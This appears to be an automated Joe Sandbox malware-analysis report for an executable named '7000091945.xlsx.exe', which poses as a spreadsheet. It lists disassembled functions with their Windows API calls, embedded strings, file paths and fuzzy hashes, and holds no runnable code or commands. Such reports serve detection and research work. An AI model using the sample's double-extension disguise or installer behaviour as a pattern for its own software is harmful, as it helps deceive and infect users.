Associated: 00000000.00000002.1701514558.000000006FF44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1701541721.000000006FF46000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff40000_7000091945.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 8ac853b157e3d29670509e7d4e3fc1534842e7f7c305d97ca4392d4f83452dbf
Instruction ID: f0f88bb333c776bfc90923b7f242aa05c9139358075ed49ec17bce39e1d44b19
Opcode Fuzzy Hash: 8ac853b157e3d29670509e7d4e3fc1534842e7f7c305d97ca4392d4f83452dbf
Instruction Fuzzy Hash: 90B01274A10400DFEE00BF6CCC06F343654F711311F084000FA00D0392C1244C388534

Non-executed Functions

Function 004055B8 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405616
GetDlgItem.USER32(?,000003EE), ref: 00405625
GetClientRect.USER32(?,?), ref: 00405662
GetSystemMetrics.USER32(00000002), ref: 00405669
SendMessageW.USER32(?,00001061,00000000,?), ref: 0040568A
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 0040569B
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004056AE
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004056BC
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056CF
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056F1
ShowWindow.USER32(?,00000008), ref: 00405705
GetDlgItem.USER32(?,000003EC), ref: 00405726
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405736
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040574F
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040575B
GetDlgItem.USER32(?,000003F8), ref: 00405634

Part of subcall function 0040439C: SendMessageW.USER32(00000028,?,?,004041C7), ref: 004043AA

GetDlgItem.USER32(?,000003EC), ref: 00405778
CreateThread.KERNEL32(00000000,00000000,Function_0000554C,00000000), ref: 00405786
CloseHandle.KERNEL32(00000000), ref: 0040578D
ShowWindow.USER32(00000000), ref: 004057B1
ShowWindow.USER32(00000000,00000008), ref: 004057B6
ShowWindow.USER32(00000008), ref: 00405800
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405834
CreatePopupMenu.USER32 ref: 00405845
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405859
GetWindowRect.USER32(?,?), ref: 00405879
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405892
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058CA
OpenClipboard.USER32(00000000), ref: 004058DA
EmptyClipboard.USER32 ref: 004058E0
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058EC
GlobalLock.KERNEL32(00000000), ref: 004058F6
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040590A
GlobalUnlock.KERNEL32(00000000), ref: 0040592A
SetClipboardData.USER32(0000000D,00000000), ref: 00405935
CloseClipboard.USER32 ref: 0040593B

Strings

{, xrefs: 0040581E

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 8f25bff0f06489f7a1a8ce70ca033e140048c00b36b59f282442a9f3d67c4887
Instruction ID: ef42e6e7ad26681d1de71b6013131fdd69d98400fc0f56e042e978cac442fd71
Opcode Fuzzy Hash: 8f25bff0f06489f7a1a8ce70ca033e140048c00b36b59f282442a9f3d67c4887
Instruction Fuzzy Hash: 45B138B1900608FFDB11AFA0DE85AAE7B79FB44355F00803AFA41B61A0CB755E51DF68

Function 00404858 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004048A7
SetWindowTextW.USER32(00000000,?), ref: 004048D1
SHBrowseForFolderW.SHELL32(?), ref: 00404982
CoTaskMemFree.OLE32(00000000), ref: 0040498D
lstrcmpiW.KERNEL32(Call,0042D268,00000000,?,?), ref: 004049BF
lstrcatW.KERNEL32(?,Call), ref: 004049CB
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049DD

Part of subcall function 00405A5B: GetDlgItemTextW.USER32(?,?,00000400,00404A14), ref: 00405A6E

Part of subcall function 004066C0: CharNextW.USER32(?,*?|<>/":,00000000,00000000,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\7000091945.xlsx.exe",004034A0,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F,?,00000007,00000009,0000000B), ref: 00406723
Part of subcall function 004066C0: CharNextW.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 00406732
Part of subcall function 004066C0: CharNextW.USER32(?,00000000,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\7000091945.xlsx.exe",004034A0,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F,?,00000007,00000009,0000000B), ref: 00406737
Part of subcall function 004066C0: CharPrevW.USER32(?,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\7000091945.xlsx.exe",004034A0,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F,?,00000007,00000009,0000000B), ref: 0040674A

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,?,0042B238,?,?,000003FB,?), ref: 00404AA0
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404ABB

Part of subcall function 00404C14: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CB5
Part of subcall function 00404C14: wsprintfW.USER32 ref: 00404CBE
Part of subcall function 00404C14: SetDlgItemTextW.USER32(?,0042D268), ref: 00404CD1

Strings

C:\Users\user\udstrmningsdysernes\eir\Speckly, xrefs: 004049A8
Call, xrefs: 004049B9, 004049BE, 004049C9
A, xrefs: 0040497B

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\udstrmningsdysernes\eir\Speckly$Call
API String ID: 2624150263-2497167080
Opcode ID: 853e4702587f22a3b0095dfd1c3f762452952fa67d6f0456fc7ffaafa7f78d96
Instruction ID: 0d1333b798dde08b2b35772059431d035751c92a28532a026af6b574b599a32b
Opcode Fuzzy Hash: 853e4702587f22a3b0095dfd1c3f762452952fa67d6f0456fc7ffaafa7f78d96
Instruction Fuzzy Hash: 56A15EF1A00209ABDB11AFA5CD45AAFB7B8EF84314F10843BF601B62D1D77C99418B6D

Function 00406C81 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbe53aaae7eeab696340878b5eee03eb0fd33fb80e94407ce6853ed186f7d00c
Instruction ID: 1f017aaef81dd0f0ed7cb9892c5a428a4034ef251f890bfd5ca3fce11066bb94
Opcode Fuzzy Hash: fbe53aaae7eeab696340878b5eee03eb0fd33fb80e94407ce6853ed186f7d00c
Instruction Fuzzy Hash: 8FE1AA71A04709DFDB24CF58C880BAEB7F5EB45305F15842EE896AB2D1D738AA91CF44

Function 00407458 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction ID: 4c948e8094d30857df7bb037d19ad889c7f26ef399dade94ff28b4422ea0219f
Opcode Fuzzy Hash: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction Fuzzy Hash: A4C15931E042199BCF14CF68D8905EEBBB2BF88354F25866AD85677380D738B942CF95

Function 00404526 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,?), ref: 004045C4
GetDlgItem.USER32(?,000003E8), ref: 004045D8
SendMessageW.USER32(00000000,0000045B,?,00000000), ref: 004045F5
GetSysColor.USER32(?), ref: 00404606
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404614
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404622
lstrlenW.KERNEL32(?), ref: 00404627
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404634
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404649
GetDlgItem.USER32(?,0000040A), ref: 004046A2
SendMessageW.USER32(00000000), ref: 004046A9
GetDlgItem.USER32(?,000003E8), ref: 004046D4
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404717
LoadCursorW.USER32(00000000,00007F02), ref: 00404725
SetCursor.USER32(00000000), ref: 00404728
LoadCursorW.USER32(00000000,00007F00), ref: 00404741
SetCursor.USER32(00000000), ref: 00404744
SendMessageW.USER32(00000111,?,00000000), ref: 00404773
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404785

Strings

Call, xrefs: 00404703
N, xrefs: 004046C2

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: 3e7f1d81aaa2c81caad56aadef940d4d94f2f382e64dbbb27fd2036abddb4608
Instruction ID: bc177dfd6b6b6103f733ab6784bbaef7ca361af311f51bfa08924dfc74b84e38
Opcode Fuzzy Hash: 3e7f1d81aaa2c81caad56aadef940d4d94f2f382e64dbbb27fd2036abddb4608
Instruction Fuzzy Hash: 79618EB1A00209FFDB109F60DD85AAA7B69FB85314F00843AFA15B72D1D778AD51CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: b27a2b551f63a02a5ae57bcc50d46a19120317da1eaca0d31fe5953092f3d4ab
Instruction ID: eaab19ccb9cda740c31967da28403833e1322962c0e6ee158e4036cb66a51054
Opcode Fuzzy Hash: b27a2b551f63a02a5ae57bcc50d46a19120317da1eaca0d31fe5953092f3d4ab
Instruction Fuzzy Hash: ED418B71800209AFCF058FA5CE459AF7FB9FF44315F04802AF991AA1A0C738AA55DFA4

Function 0040605D Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,?,?,00000000,?,?,004061F8,?,?), ref: 00406098
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 004060A1

Part of subcall function 00405E6C: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
Part of subcall function 00405E6C: lstrlenA.KERNEL32(00000000,?,00000000,00406151,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405EAE

GetShortPathNameW.KERNEL32(?,00431108,00000400), ref: 004060BE
wsprintfA.USER32 ref: 004060DC
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 00406117
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406126
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040615E
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 004061B4
GlobalFree.KERNEL32(00000000), ref: 004061C5
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061CC

Part of subcall function 00405F07: GetFileAttributesW.KERNELBASE(?,00403055,C:\Users\user\Desktop\7000091945.xlsx.exe,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405F0B
Part of subcall function 00405F07: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000,?,00000007,00000009,0000000B), ref: 00405F2D

Strings

[Rename], xrefs: 00406146, 00406158
%ls=%ls, xrefs: 004060D2

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 9b519c14120aa80628a1efb59fa06e72263f7c501841ac8fb024acedf13bc814
Instruction ID: d46549913b6b20842cf1787bef5cc60fb31ae9cbf3b8bb231415db86ef2d3bba
Opcode Fuzzy Hash: 9b519c14120aa80628a1efb59fa06e72263f7c501841ac8fb024acedf13bc814
Instruction Fuzzy Hash: 9D3135712017157BD2206B218D48F6B3A5CDF45754F15003AFE82FA2C3DA3CE9218ABD

Function 004066C0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\7000091945.xlsx.exe",004034A0,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F,?,00000007,00000009,0000000B), ref: 00406723
CharNextW.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 00406732
CharNextW.USER32(?,00000000,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\7000091945.xlsx.exe",004034A0,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F,?,00000007,00000009,0000000B), ref: 00406737
CharPrevW.USER32(?,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\7000091945.xlsx.exe",004034A0,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F,?,00000007,00000009,0000000B), ref: 0040674A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004066C1
*?|<>/":, xrefs: 00406712
"C:\Users\user\Desktop\7000091945.xlsx.exe", xrefs: 004066C0

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\7000091945.xlsx.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2817999886
Opcode ID: 9ddbb9e18cbe24282ce487244f484090ca5dfb24375496ba9be4fccf49263134
Instruction ID: 9627fccf098e727a5900f08bdddf05a21b4f43d755832024a56349c67539c63f
Opcode Fuzzy Hash: 9ddbb9e18cbe24282ce487244f484090ca5dfb24375496ba9be4fccf49263134
Instruction Fuzzy Hash: F2110D1580061295DB303B548C84A7B62F8EF5879CF52843FED96732C0E77D8C9286BD

Function 00402F2B Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402F49
MulDiv.KERNEL32(00031200,00000064,000A200D), ref: 00402F74
wsprintfW.USER32 ref: 00402F84
SetWindowTextW.USER32(?,?), ref: 00402F94
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402FA6

Strings

, xrefs: 00402F65
verifying installer: %d%%, xrefs: 00402F7E

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: $verifying installer: %d%%
API String ID: 1451636040-4037999382
Opcode ID: 5b1bc627dd36a5102c32c12b14091c8dec43231046f13c1edcd0296a8f8e997f
Instruction ID: 5483d255828af9cef8fcdd630f22e0c0956a10275527037d70a62c30cec8c61f
Opcode Fuzzy Hash: 5b1bc627dd36a5102c32c12b14091c8dec43231046f13c1edcd0296a8f8e997f
Instruction Fuzzy Hash: 29014471640209BBEF209F60DE49FEA3B79FB04344F008039FA06A51D0DBB995559F58

Function 004043CE Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043EB
GetSysColor.USER32(00000000), ref: 00404429
SetTextColor.GDI32(?,00000000), ref: 00404435
SetBkMode.GDI32(?,?), ref: 00404441
GetSysColor.USER32(?), ref: 00404454
SetBkColor.GDI32(?,?), ref: 00404464
DeleteObject.GDI32(?), ref: 0040447E
CreateBrushIndirect.GDI32(?), ref: 00404488

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 288dbcc7c85f11a55b3e08142a2a7aff64d3670202badf385cb57de10b60d8c1
Instruction ID: dd0feedb065fecc26b382c70af4fe1a3d395924493241b124500faa7aa9dc668
